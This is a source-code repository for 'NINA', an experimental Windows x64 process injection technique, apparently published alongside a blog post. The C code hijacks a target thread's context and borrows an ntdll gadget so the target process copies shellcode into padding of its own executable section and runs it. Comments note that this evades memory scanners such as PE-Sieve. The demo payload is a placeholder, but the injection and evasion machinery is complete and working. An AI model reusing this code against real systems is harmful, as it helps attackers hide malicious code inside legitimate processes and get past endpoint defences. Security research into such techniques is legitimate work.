├── NINA
├── NINA
│ ├── NINA.vcxproj.user
│ ├── nina.h
│ ├── NINA.vcxproj.filters
│ ├── main.c
│ ├── NINA.vcxproj
│ └── nina.c
└── NINA.sln
└── README.md
/NINA/NINA/NINA.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # NINA
2 | NINA: No Injection, No Allocation x64 Process Injection Technique
3 |
4 | A quick, experimental side project just for fun!
5 |
6 | This project will not be maintained. Sorry!
7 |
8 | ## Blog
9 |
10 | https://undev.ninja/nina-x64-process-injection/
11 |
12 | ## Tested Environments
13 |
14 | * Windows 10 x64 version 2004
15 | * Windows 10 x64 version 1903
16 |
17 | ## Drawbacks
18 |
19 | * The shellcode size limitation is whatever can fit into the targeted `RX` section. Perhaps use it as a stager?
20 | * The shellcode also has to fit within the target stack location. Perhaps enumerate all of the modules' `RW` sections too?
21 |
22 | ## Something TODO
23 |
24 | * Fallback method to look for larger code caves within other modules if the executable image's is too small.
25 |
--------------------------------------------------------------------------------
/NINA/NINA/nina.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | typedef LONG KPRIORITY;
6 |
7 | typedef struct _MY_CLIENT_ID {
8 | PVOID UniqueProcess;
9 | PVOID UniqueThread;
10 | } MY_CLIENT_ID, * PMY_CLIENT_ID;
11 |
12 | typedef struct _THREAD_BASIC_INFORMATION {
13 | NTSTATUS ExitStatus;
14 | PVOID TebBaseAddress;
15 | MY_CLIENT_ID ClientId;
16 | KAFFINITY AffinityMask;
17 | KPRIORITY Priority;
18 | KPRIORITY BasePriority;
19 | } THREAD_BASIC_INFORMATION, * PTHREAD_BASIC_INFORMATION;
20 |
21 | #define ThreadBasicInformation 0
22 | #define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
23 |
24 | BOOL
25 | InjectPayload(
26 | _In_ HANDLE ProcessHandle,
27 | _In_ HANDLE ThreadHandle,
28 | _In_ LPBYTE Shellcode,
29 | _In_ SIZE_T ShellcodeSize,
30 | _In_ BOOL RestoreExecution
31 | );
--------------------------------------------------------------------------------
/NINA/NINA/NINA.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 |
26 |
27 | Header Files
28 |
29 |
30 |
--------------------------------------------------------------------------------
/NINA/NINA.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29709.97
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NINA", "NINA\NINA.vcxproj", "{B75E7769-251B-4356-9CED-58281E973841}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x64.ActiveCfg = Debug|x64
17 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x64.Build.0 = Debug|x64
18 | {B75E7769-251B-4356-9CED-58281E973841}.Debug|x86.ActiveCfg = Debug|x64
19 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x64.ActiveCfg = Release|x64
20 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x64.Build.0 = Release|x64
21 | {B75E7769-251B-4356-9CED-58281E973841}.Release|x86.ActiveCfg = Release|x64
22 | EndGlobalSection
23 | GlobalSection(SolutionProperties) = preSolution
24 | HideSolutionNode = FALSE
25 | EndGlobalSection
26 | GlobalSection(ExtensibilityGlobals) = postSolution
27 | SolutionGuid = {30718AEF-9FCA-4E69-ADED-CE1F38708C4A}
28 | EndGlobalSection
29 | EndGlobal
30 |
--------------------------------------------------------------------------------
/NINA/NINA/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include "nina.h"
5 |
6 | //
7 | // Example shellcode:
8 | // Make sure to have 8 reserved bytes for 64-bit
9 | // jmp loop gadget to ROP into to stall execution.
10 | // You will also need 40 reserved bytes for the
11 | // shadow stack used by ReadProcessMemory and
12 | // WriteProcessMemory.
13 | //
14 | BYTE Shellcode[] = {
15 | //
16 | // 8 bytes for RET gadget.
17 | //
18 | 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA,
19 | //
20 | // Shadow stack.
21 | //
22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
25 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
27 | //
28 | // Actual shellcode starts here.
29 | //
30 | 0xEB, 0xFE, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAA,
31 | 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x90, 0x90, 0x90,
32 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
33 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
34 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
35 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
36 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
37 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
38 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
39 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
40 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
41 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
42 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
43 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
44 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
45 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
46 | 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90
47 | };
48 |
49 | int
50 | main(
51 | _In_ int argc,
52 | _In_ char* argv[]
53 | )
54 | {
55 | STARTUPINFO si;
56 | PROCESS_INFORMATION pi;
57 | BOOL ret;
58 |
59 | ZeroMemory(&si, sizeof(si));
60 | si.cb = sizeof(STARTUPINFO);
61 | si.dwFlags = STARTF_USESHOWWINDOW;
62 | si.wShowWindow = SW_SHOW;
63 |
64 | ZeroMemory(&pi, sizeof(pi));
65 |
66 | //
67 | // Do whatever you need to do here to get a target
68 | // process and thread handle.
69 | //
70 | ret = CreateProcessW(
71 | L"C:\\Windows\\System32\\calc.exe",
72 | //L"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe",
73 | NULL,
74 | NULL,
75 | NULL,
76 | FALSE,
77 | 0,
78 | NULL,
79 | NULL,
80 | &si,
81 | &pi
82 | );
83 |
84 | InjectPayload(
85 | pi.hProcess,
86 | pi.hThread,
87 | Shellcode,
88 | sizeof(Shellcode),
89 | TRUE
90 | );
91 |
92 | return 0;
93 | }
--------------------------------------------------------------------------------
/NINA/NINA/NINA.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | x64
7 |
8 |
9 | Release
10 | x64
11 |
12 |
13 |
14 | 16.0
15 | {B75E7769-251B-4356-9CED-58281E973841}
16 | Win32Proj
17 | NINA
18 | 10.0
19 |
20 |
21 |
22 | Application
23 | true
24 | v142
25 | Unicode
26 |
27 |
28 | Application
29 | false
30 | v142
31 | true
32 | Unicode
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 | true
48 |
49 |
50 | false
51 |
52 |
53 |
54 | Level3
55 | true
56 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
57 | true
58 |
59 |
60 | Console
61 | true
62 |
63 |
64 |
65 |
66 | Level3
67 | true
68 | true
69 | true
70 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
71 | true
72 |
73 |
74 | Console
75 | true
76 | true
77 | true
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/NINA/NINA/nina.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "nina.h"
6 |
7 | #pragma comment(lib, "ntdll.lib")
8 |
9 | #define JMP_LOOP_OFFSET 0x1CF2B
10 | #define SHELLCODE_PADDING 0x30
11 |
12 | static
13 | BOOL
14 | SetExecutionContext(
15 | _In_ PHANDLE ThreadHandle,
16 | _In_opt_ PVOID *Rip,
17 | _In_opt_ PVOID *Rsp,
18 | _In_ DWORD64 Arg1,
19 | _In_ DWORD64 Arg2,
20 | _In_ DWORD64 Arg3,
21 | _In_ DWORD64 Arg4,
22 | _Out_opt_ PCONTEXT OutCtx
23 | )
24 | {
25 | BOOL Success;
26 | CONTEXT Ctx;
27 |
28 | if (SuspendThread(*ThreadHandle) == -1) {
29 | return FALSE;
30 | }
31 |
32 | ZeroMemory(&Ctx, sizeof(CONTEXT));
33 | Ctx.ContextFlags = CONTEXT_FULL;
34 | Success = GetThreadContext(*ThreadHandle, &Ctx);
35 | if (!Success) {
36 | return FALSE;
37 | }
38 |
39 | if (OutCtx) {
40 | ZeroMemory(OutCtx, sizeof(CONTEXT));
41 | CopyMemory(OutCtx, &Ctx, sizeof(CONTEXT));
42 | }
43 |
44 | if (Rip) {
45 | Ctx.Rip = *(DWORD64*)Rip;
46 | }
47 |
48 | if (Rsp) {
49 | Ctx.Rsp = *(DWORD64*)Rsp;
50 | }
51 |
52 | Ctx.Rcx = Arg1;
53 | Ctx.Rdx = Arg2;
54 | Ctx.R8 = Arg3;
55 | Ctx.R9 = Arg4;
56 |
57 | Success = SetThreadContext(*ThreadHandle, &Ctx);
58 | if (!Success) {
59 | return FALSE;
60 | }
61 |
62 | if (ResumeThread(*ThreadHandle) == -1) {
63 | return FALSE;
64 | }
65 |
66 | //
67 | // Sleep so SetThreadContext can take effect.
68 | //
69 | Sleep(100);
70 |
71 | return TRUE;
72 | }
73 |
74 | static
75 | BOOL
76 | GetStackOffset(
77 | _In_ HANDLE ProcessHandle,
78 | _In_ PVOID Address,
79 | _In_ SIZE_T AddressSize,
80 | _In_ SIZE_T ShellcodeSize,
81 | _Out_ ULONG_PTR *StackOffset
82 | )
83 | {
84 | BOOL Success;
85 | ULONG_PTR* Stack = NULL;
86 |
87 | *StackOffset = 0;
88 |
89 | //
90 | // Allocate a stack to read a local copy.
91 | //
92 | Stack = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AddressSize);
93 | if (!Stack) {
94 | return FALSE;
95 | }
96 | //
97 | // Scan stack for NULL fifth arg
98 | //
99 | Success = ReadProcessMemory(
100 | ProcessHandle,
101 | Address,
102 | Stack,
103 | AddressSize,
104 | NULL
105 | );
106 | if (!Success) {
107 | return FALSE;
108 | }
109 |
110 | //
111 | // Enumerate from bottom (it's a stack).
112 | // Start from -5 * 8 => at least five arguments + shellcode.
113 | //
114 | for (SIZE_T i = AddressSize - 5 * sizeof(SIZE_T) - ShellcodeSize; i > 0; i -= sizeof(SIZE_T)) {
115 | ULONG_PTR* StackVal = (ULONG_PTR*)((LPBYTE)Stack + i);
116 | if (*StackVal == 0) {
117 | //
118 | // Get stack offset starting position.
119 | //
120 | *StackOffset = i + 5 * sizeof(SIZE_T);
121 | break;
122 | }
123 | }
124 |
125 | HeapFree(GetProcessHeap(), 0, Stack);
126 |
127 | return TRUE;
128 | }
129 |
130 | static
131 | BOOL
132 | GetStackLocation(
133 | _In_ HANDLE ProcessHandle,
134 | _In_ HANDLE ThreadHandle,
135 | _In_ SIZE_T ShellcodeSize,
136 | _Out_ PVOID* StackLocation
137 | )
138 | {
139 | NTSTATUS Status;
140 | BOOL Success;
141 | THREAD_BASIC_INFORMATION ThreadBasicInfo;
142 | ULONG ReturnLength;
143 | NT_TIB Tib;
144 | ULONG_PTR StackOffset;
145 |
146 | *StackLocation = 0;
147 |
148 | Status = NtQueryInformationThread(
149 | ThreadHandle,
150 | ThreadBasicInformation,
151 | &ThreadBasicInfo,
152 | sizeof(THREAD_BASIC_INFORMATION),
153 | &ReturnLength
154 | );
155 | if (!NT_SUCCESS(Status)) {
156 | return FALSE;
157 | }
158 |
159 | Success = ReadProcessMemory(
160 | ProcessHandle,
161 | ThreadBasicInfo.TebBaseAddress,
162 | &Tib,
163 | sizeof(NT_TIB),
164 | NULL
165 | );
166 | if (!Success) {
167 | return FALSE;
168 | }
169 |
170 | Success = GetStackOffset(
171 | ProcessHandle,
172 | Tib.StackLimit,
173 | (ULONG_PTR)Tib.StackBase - (ULONG_PTR)Tib.StackLimit,
174 | ShellcodeSize,
175 | &StackOffset
176 | );
177 | if (!Success) {
178 | return FALSE;
179 | }
180 |
181 | *StackLocation = (PVOID)((LPBYTE)Tib.StackLimit + StackOffset);
182 |
183 | return TRUE;
184 | }
185 |
186 | static
187 | BOOL
188 | GetStackAndShellcodeLocations(
189 | _In_ HANDLE ProcessHandle,
190 | _In_ HANDLE ThreadHandle,
191 | _In_ SIZE_T ShellcodeSize,
192 | _Out_ PVOID* StackLocation,
193 | _Out_ PVOID* ShellcodeLocation
194 | )
195 | {
196 | NTSTATUS Status;
197 | BOOL Success;
198 | SIZE_T QuerySize;
199 | PROCESS_BASIC_INFORMATION ProcessBasicInfo;
200 | ULONG ReturnLength;
201 | PEB Peb;
202 | MEMORY_BASIC_INFORMATION MemoryBasicInfo;
203 | IMAGE_DOS_HEADER DosHeader;
204 | IMAGE_NT_HEADERS NtHeaders;
205 | PVOID ImageBaseAddress = NULL;
206 | ULONG_PTR StackOffset;
207 |
208 | //
209 | // Initialise to NULL.
210 | //
211 | *StackLocation = NULL;
212 | *ShellcodeLocation = NULL;
213 |
214 | //
215 | // Get PEB.
216 | //
217 | Status = NtQueryInformationProcess(
218 | ProcessHandle,
219 | ProcessBasicInformation,
220 | &ProcessBasicInfo,
221 | sizeof(PROCESS_BASIC_INFORMATION),
222 | &ReturnLength
223 | );
224 | if (!NT_SUCCESS(Status)) {
225 | return FALSE;
226 | }
227 |
228 | //
229 | // Read base address.
230 | //
231 | Success = ReadProcessMemory(
232 | ProcessHandle,
233 | ProcessBasicInfo.PebBaseAddress,
234 | &Peb,
235 | sizeof(PEB),
236 | NULL
237 | );
238 | if (!Success) {
239 | return FALSE;
240 | }
241 |
242 | ImageBaseAddress = Peb.Reserved3[1];
243 |
244 | //
245 | // Get DOS header.
246 | //
247 | Success = ReadProcessMemory(
248 | ProcessHandle,
249 | ImageBaseAddress,
250 | &DosHeader,
251 | sizeof(IMAGE_DOS_HEADER),
252 | NULL
253 | );
254 | if (!Success) {
255 | return FALSE;
256 | }
257 |
258 | //
259 | // Get NT Headers.
260 | //
261 | Success = ReadProcessMemory(
262 | ProcessHandle,
263 | (LPBYTE)ImageBaseAddress + DosHeader.e_lfanew,
264 | &NtHeaders,
265 | sizeof(IMAGE_NT_HEADERS),
266 | NULL
267 | );
268 | if (!Success) {
269 | return FALSE;
270 | }
271 |
272 | //
273 | // Look for existing memory pages inside the executable image
274 | // so that we don't corrupt other images.
275 | //
276 | for (SIZE_T i = 0; i < NtHeaders.OptionalHeader.SizeOfImage && (!*StackLocation || !*ShellcodeLocation);) {
277 | QuerySize = VirtualQueryEx(
278 | ProcessHandle,
279 | (LPBYTE)ImageBaseAddress + i, // Base address
280 | &MemoryBasicInfo,
281 | sizeof(MEMORY_BASIC_INFORMATION)
282 | );
283 | if (!QuerySize) {
284 | return FALSE;
285 | }
286 |
287 | //
288 | // Search for a RW region to act as the stack.
289 | // Note: It's probably ideal to look for a RW section
290 | // inside the executable image memory pages because
291 | // the padding of sections suits the fifth, optional
292 | // argument for ReadProcessMemory and WriteProcessMemory.
293 | //
294 | if (!*StackLocation && MemoryBasicInfo.Protect & PAGE_READWRITE) {
295 | //
296 | // Stack location in RW page starting at the bottom.
297 | //
298 | Success = GetStackOffset(
299 | ProcessHandle,
300 | MemoryBasicInfo.BaseAddress,
301 | MemoryBasicInfo.RegionSize,
302 | ShellcodeSize,
303 | &StackOffset
304 | );
305 | if (!Success) {
306 | return FALSE;
307 | }
308 |
309 | *StackLocation = (PVOID)((LPBYTE)MemoryBasicInfo.BaseAddress + StackOffset);
310 | } else if (!*ShellcodeLocation && MemoryBasicInfo.Protect == PAGE_EXECUTE_READ && MemoryBasicInfo.RegionSize >= (ShellcodeSize - SHELLCODE_PADDING)) {
311 | //
312 | // Look from the bottom for potential padding.
313 | // Infecting padding will bypass tools like PE-Sieve.
314 | //
315 | *ShellcodeLocation = (PVOID)((LPBYTE)MemoryBasicInfo.BaseAddress + MemoryBasicInfo.RegionSize - ShellcodeSize + SHELLCODE_PADDING);
316 | }
317 |
318 | i += MemoryBasicInfo.RegionSize;
319 | }
320 |
321 | if (!*StackLocation) {
322 | //
323 | // Fallback to find the actual stack location.
324 | //
325 | GetStackLocation(ProcessHandle, ThreadHandle, ShellcodeSize, StackLocation);
326 | }
327 |
328 | return TRUE;
329 | }
330 |
331 | static
332 | BOOL
333 | InjectData(
334 | _In_ PHANDLE ProcessHandle,
335 | _In_ PHANDLE ThreadHandle,
336 | _In_ HANDLE TargetProcessHandle,
337 | _In_ PVOID *StackLocation,
338 | _In_ PVOID DataStoreAddress,
339 | _In_ PVOID DataWriteAddress,
340 | _In_ LPBYTE Data,
341 | _In_ SIZE_T ReadSize,
342 | _In_ SIZE_T WriteSize
343 | )
344 | {
345 | BOOL Success;
346 | PVOID Kernel32;
347 | PVOID _ReadProcessMemory = NULL;
348 | PVOID _WriteProcessMemory = NULL;
349 |
350 | Kernel32 = GetModuleHandle(L"kernel32.dll");
351 | if (!Kernel32) {
352 | return FALSE;
353 | }
354 |
355 | _ReadProcessMemory = GetProcAddress(Kernel32, "ReadProcessMemory");
356 | if (!_ReadProcessMemory) {
357 | return FALSE;
358 | }
359 |
360 | _WriteProcessMemory = GetProcAddress(Kernel32, "WriteProcessMemory");
361 | if (!_WriteProcessMemory) {
362 | return FALSE;
363 | }
364 |
365 | //
366 | // Get target process to read our data.
367 | //
368 | Success = SetExecutionContext(
369 | ThreadHandle,
370 | &_ReadProcessMemory,
371 | StackLocation,
372 | // RCX: Duplicated handle to our own process' data.
373 | (DWORD64)TargetProcessHandle,
374 | // RDX: Address to read data.
375 | (DWORD64)Data,
376 | // R8: Buffer to store data.
377 | (DWORD64)DataStoreAddress,
378 | // R9: Size to read
379 | ReadSize,
380 | NULL
381 | );
382 | if (!Success) {
383 | return FALSE;
384 | }
385 |
386 | //
387 | // Get target process to write data.
388 | //
389 | Success = SetExecutionContext(
390 | ThreadHandle,
391 | &_WriteProcessMemory,
392 | StackLocation,
393 | // RCX: Self handle to write to self.
394 | (DWORD64)((HANDLE)-1),
395 | // RDX: Buffer to store data.
396 | (DWORD64)DataWriteAddress,
397 | // R8: Address to read data.
398 | (DWORD64)((LPBYTE)*StackLocation + SHELLCODE_PADDING),
399 | // R9: Size to write
400 | WriteSize,
401 | NULL
402 | );
403 | if (!Success) {
404 | return FALSE;
405 | }
406 |
407 | return TRUE;
408 | }
409 |
410 | BOOL
411 | InjectPayload(
412 | _In_ HANDLE ProcessHandle,
413 | _In_ HANDLE ThreadHandle,
414 | _In_ LPBYTE Shellcode,
415 | _In_ SIZE_T ShellcodeSize,
416 | _In_ BOOL RestoreExecution
417 | )
418 | {
419 | BOOL Success;
420 | CONTEXT OriginalCtx;
421 | HANDLE DupeProcessHandle;
422 | PVOID JmpGadget = NULL;
423 | PVOID StackLocation, ShellcodeLocation;
424 | PVOID _ReadProcessMemory = NULL;
425 | PVOID _WriteProcessMemory = NULL;
426 | LPBYTE OriginalShellcode = NULL;
427 |
428 | //
429 | // jmp loop (jmp -2) gadget to stall.
430 | // WARNING: This will change on different ntdll versions.
431 | //
432 | JmpGadget = (PVOID)((LPBYTE)GetModuleHandle(L"ntdll.dll") + JMP_LOOP_OFFSET);
433 | //
434 | // Set the first 8 bytes of the shellcode to the jmp loop
435 | // as per spec.
436 | //
437 | *(PVOID*)Shellcode = JmpGadget;
438 |
439 | //
440 | // Set execution to the jmp loop so that we can allow
441 | // the volatile registers to remain consistent using
442 | // SetThreadContext.
443 | //
444 | Success = SetExecutionContext(
445 | &ThreadHandle,
446 | &JmpGadget,
447 | NULL,
448 | 0,
449 | 0,
450 | 0,
451 | 0,
452 | &OriginalCtx
453 | );
454 | if (!Success) {
455 | return FALSE;
456 | }
457 |
458 | Success = GetStackAndShellcodeLocations(
459 | ProcessHandle,
460 | ThreadHandle,
461 | ShellcodeSize,
462 | &StackLocation,
463 | &ShellcodeLocation
464 | );
465 | if (!Success) {
466 | return FALSE;
467 | }
468 |
469 | if (RestoreExecution) {
470 | //
471 | // Optional recovery of overwritten data.
472 | //
473 | OriginalShellcode = HeapAlloc(
474 | GetProcessHeap(),
475 | HEAP_ZERO_MEMORY,
476 | ShellcodeSize - SHELLCODE_PADDING
477 | );
478 | if (OriginalShellcode) {
479 | ReadProcessMemory(
480 | ProcessHandle,
481 | ShellcodeLocation,
482 | OriginalShellcode,
483 | ShellcodeSize - SHELLCODE_PADDING,
484 | NULL
485 | );
486 | }
487 | }
488 |
489 | //
490 | // Dupe self proc handle so target process can read us.
491 | //
492 | Success = DuplicateHandle(
493 | GetCurrentProcess(),
494 | GetCurrentProcess(),
495 | ProcessHandle,
496 | &DupeProcessHandle,
497 | 0,
498 | FALSE,
499 | DUPLICATE_SAME_ACCESS
500 | );
501 | if (!Success) {
502 | return FALSE;
503 | }
504 |
505 | InjectData(
506 | &ProcessHandle,
507 | &ThreadHandle,
508 | DupeProcessHandle,
509 | &StackLocation,
510 | StackLocation,
511 | ShellcodeLocation,
512 | Shellcode,
513 | ShellcodeSize,
514 | ShellcodeSize - SHELLCODE_PADDING
515 | );
516 |
517 | //
518 | // Execute shellcode.
519 | //
520 | Success = SetExecutionContext(
521 | &ThreadHandle,
522 | // Set RIP to execute shellcode
523 | &ShellcodeLocation,
524 | NULL,
525 | // Arguments to shellcode are optional.
526 | 0,
527 | 0,
528 | 0,
529 | 0,
530 | NULL
531 | );
532 | if (!Success) {
533 | return FALSE;
534 | }
535 |
536 | if (RestoreExecution) {
537 | //
538 | // Wait for execution to complete.
539 | //
540 | Sleep(10000);
541 |
542 | //
543 | // Restore original overwritten data and
544 | // recover execution.
545 | //
546 | if (OriginalShellcode) {
547 | InjectData(
548 | &ProcessHandle,
549 | &ThreadHandle,
550 | DupeProcessHandle,
551 | &StackLocation,
552 | (LPBYTE)StackLocation + SHELLCODE_PADDING,
553 | ShellcodeLocation,
554 | OriginalShellcode,
555 | ShellcodeSize - SHELLCODE_PADDING,
556 | ShellcodeSize - SHELLCODE_PADDING
557 | );
558 |
559 | HeapFree(GetProcessHeap(), 0, OriginalShellcode);
560 | }
561 |
562 | if (SuspendThread(ThreadHandle) != -1) {
563 | SetThreadContext(ThreadHandle, &OriginalCtx);
564 | ResumeThread(ThreadHandle);
565 | }
566 | }
567 |
568 | return TRUE;
569 | }
--------------------------------------------------------------------------------